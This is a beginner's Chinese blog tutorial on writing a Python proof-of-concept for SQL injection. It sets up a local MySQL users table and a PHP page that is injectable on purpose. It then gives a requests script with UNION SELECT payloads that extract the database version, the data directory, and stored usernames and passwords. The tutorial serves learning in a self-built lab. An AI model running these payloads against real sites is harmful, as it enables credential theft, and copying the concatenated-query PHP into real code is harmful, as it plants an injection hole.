python编写poc_学习Python到写poc其实没那么难

现在,开始!

0x00 前言

今天刚刚把放到收藏夹准备看的,然后又看到题主的这个问题。顺便观摩了1楼大神的博客,我这种炒鸡新手表示很兴奋啊,阔以好好学习代码审计吖!但是萌妹子说了“不会开发的谈审计都是耍流氓!:)”。怎么办?? 我不会开发啊,我怎么学啊?????

0x01 不会开发可以”抄”

作为一个学渣,要考试的时候,总是把历年考题拿出来,别人题型怎么写的,你就怎么套,不用去管他原理。就好比别人都叫三楼红老师,我们也这样叫就准没错的。昨天三个白帽的那个hanmeimei和lilie的题都不知道怎么下手,怎么办?我自己写一个吧!

0x02 抄sql语句

DROP DATABASE IF EXISTS foolish;

CREATE DATABASE foolish;

CREATE USER user1@'%' IDENTIFIED BY 'password1';

GRANT ALL PRIVILEGES ON foolish.* TO user1;

USE foolish;

CREATE TABLE users

(

id int(3) NOT NULL AUTO_INCREMENT,

username varchar(20) NOT NULL,

password varchar(20) NOT NULL,

PRIMARY KEY (id)

);

INSERT INTO foolish.users (id,username,password) VALUES ('1','lilei','49ba59abbe56e057'),('2','hanmeimei','80650b029161be86'),('3','xiao3','7bf9108cd896f33c');1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

蛤蛤,炒鸡简单,会点英文就可以看懂。

0x03 抄php代码

echo '

';

$con = mysqli_connect('127.0.0.1','root','',"foolish");

if(isset($_GET['name']))

{

$name = $_GET['name'];

$sql = "SELECT * FROM users WHERE username='".$name."' LIMIT 0,1";

$result = mysqli_query($con,$sql);

$row = mysqli_fetch_array($result);

if($row)

{

echo "";

echo "";

echo "Your login name :";

echo $row['username'];

echo "";

echo "";

}

else

{

echo "hell";

echo '';

print_r(mysqli_error());

echo "";

}

}

echo '';

?>1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

保存为poc.php,调试出来后,发现其实是相当简单的。

0x04

直接将sql文件导入到数据库,php文件就可以访问了,反正我这测试可以访问.

http://127.0.0.1/poc.php?name=lilei

非常容易的注入,就不分析了。

0x05 楼主说的用python写poc

首先,之前一直看评论有人在说requests模块。虽然,我没有用过,但是我会抄代码啊,打开官方文档。其实就是用python模拟浏览器请求,然后接受返回值。中间进行判断之类的。

POC:

import requests

from bs4 import BeautifulSoup

import sys

def main(argv):

if(len(argv) == 1):

print "Usege:python exploit.py http://localhost/"

else:

url = argv[1]

all_payload = ["poctest.php?name=lilei'and 1=2 union select 1,2,3--+",

"poctest.php?name=lilei'and 1=2 union select 1,@@version,3--+",

"poctest.php?name=lilei'and 1=2 union select 1,@@datadir,3--+",

"poctest.php?name=lilei'and 1=2 union select 1,username,3 from users--+",

"poctest.php?name=lilei'and 1=2 union select 1,password,3 from users--+"

]

for payload in all_payload:

exp = url + payload

r = requests.get(exp)

soup = BeautifulSoup(r.text,"html.parser")

print soup.em.string[16:]

if __name__ == '__main__':

main(sys.argv)1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

0x06 总结

由于楼主问从学Python到写个poc用多长时间,其实吧,主要是你前提得给漏洞原理分析出来。写poc就是程序代替人的过程。

其实吧,编程只是一个工具,对于所有语言。他都是要接收一个输入,来自人类。然后程序内部进行处理。最后输出给人类。

所以,对于这个漏洞程序来说:

(1)php的接收人类的输入是$_GET[‘name’]。

php输出给人类的是浏览器上显示的结果。

php输出给mysql服务器的是要执行的sql语句。(这里造成漏洞)

(2)mysql接收的是php传递的执行语句

mysql输出的是执行的结果

(3) python输入的是url参数

python输出的是exploit的结果

所以,我的总结是学习语言,要先明白他的输入-输出模型,然后求出它的传递函数。也就是中间的各种算法类的,也就是红老师说的打好基础。

但是,对于新手来说,兴趣比较重要,代码的东西这么复杂,你要都去了解很打击信心的,你只需要知道别人这样做是对的,你就这样做准没错

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值